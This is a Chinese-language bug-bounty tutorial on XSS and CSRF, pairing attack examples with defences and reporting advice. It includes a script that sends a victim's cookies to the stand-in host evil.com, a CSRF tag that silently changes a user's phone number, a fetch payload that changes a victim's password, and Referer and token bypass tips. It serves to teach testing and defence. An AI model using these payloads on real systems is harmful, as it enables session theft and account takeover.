【SRC漏洞挖掘系列】第02期：XSS与CSRF——Web世界的“偷家”艺术

上期回顾 ：我们扒光了目标的资产（情报收集）。本期开始，我们要对这些目标进行"物理超度"------哦不，是合法的安全测试 。今天的主角是 Web 漏洞界的"哼哈二将"：XSS 和 CSRF。

很多新手觉得 XSS 是"弹个框就没用了"，那是你不会玩。

在SRC里，一个存储型XSS进后台，往往意味着服务器权限（Getshell）的大门已开。

场景：某论坛发帖功能存在存储型XSS。

Payload（攻击载荷）：

html 复制代码

<script>
  // 窃取管理员Cookie
  var img = new Image();
  img.src = "http://evil.com/log?" + document.cookie;
</script>

发生了什么？

现在的防火墙（WAF）都很聪明，直接插 <script>会被拦截。我们需要变形：

SRC加分项 ：如果你能绕过厂商的WAF（Web应用防火墙）实现XSS，厂商通常会给你更高的评分，因为这证明了他们的防御体系有缺陷。

浏览器会自动携带当前网站的 Cookie。

如果你的浏览器里保存了 bank.com的登录状态，你打开了一个恶意网站 evil.com，这个网站里有个表单是向 bank.com转账的，浏览器会傻乎乎地带着你的Cookie去执行转账。

场景：某SRC站点修改绑定手机的接口如下：

https://example.com/user/changePhone?phone=13800138000&userId=1001

漏洞点：该接口没有验证"原手机号验证码"，也没有 Token 验证。

攻击步骤：

你构造一个恶意页面 attack.html：

html 复制代码

<body>
  <!-- 偷偷发起请求 -->
  <img src="https://example.com/user/changePhone?phone=你的手机号&userId=1001">
</body>

防御：Referer 校验、CSRF Token、验证码。
绕过：
- Referer绕过 ：如果后端只校验 contains("example.com")，你可以把文件名改成 example.com.html放在你的服务器上。
- Token绕过：如果Token生成算法可预测，或者Token未绑定Session。

单独的XSS或CSRF可能已经修好了，但如果组合起来呢？

案例：某站有反射型XSS ，但没有CSRF Token。

你可以构造一个链接，用户一点击，不仅执行了XSS，还利用XSS发起了一个AJAX请求（CSRF），偷偷把用户的密码改了。

javascript 复制代码

// XSS Payload 中包含 CSRF 攻击
fetch('/user/changePassword', {
  method: 'POST',
  body: 'newPwd=Hacked123',
  credentials: 'include' // 携带Cookie
});

写报告时，别只说"这里有XSS"。

漏洞类型	核心利用点	防御手段
XSS	前端JS执行	转义输出 (HtmlSpecialChars)
CSRF	利用浏览器自动带Cookie	CSRF Token, SameSite Cookie

💬 互动话题：

大家在挖洞时，有没有遇到过那种"明明弹窗了，但是厂商说不收"的情况？或者遇到过哪些奇葩的WAF拦截规则？欢迎吐槽！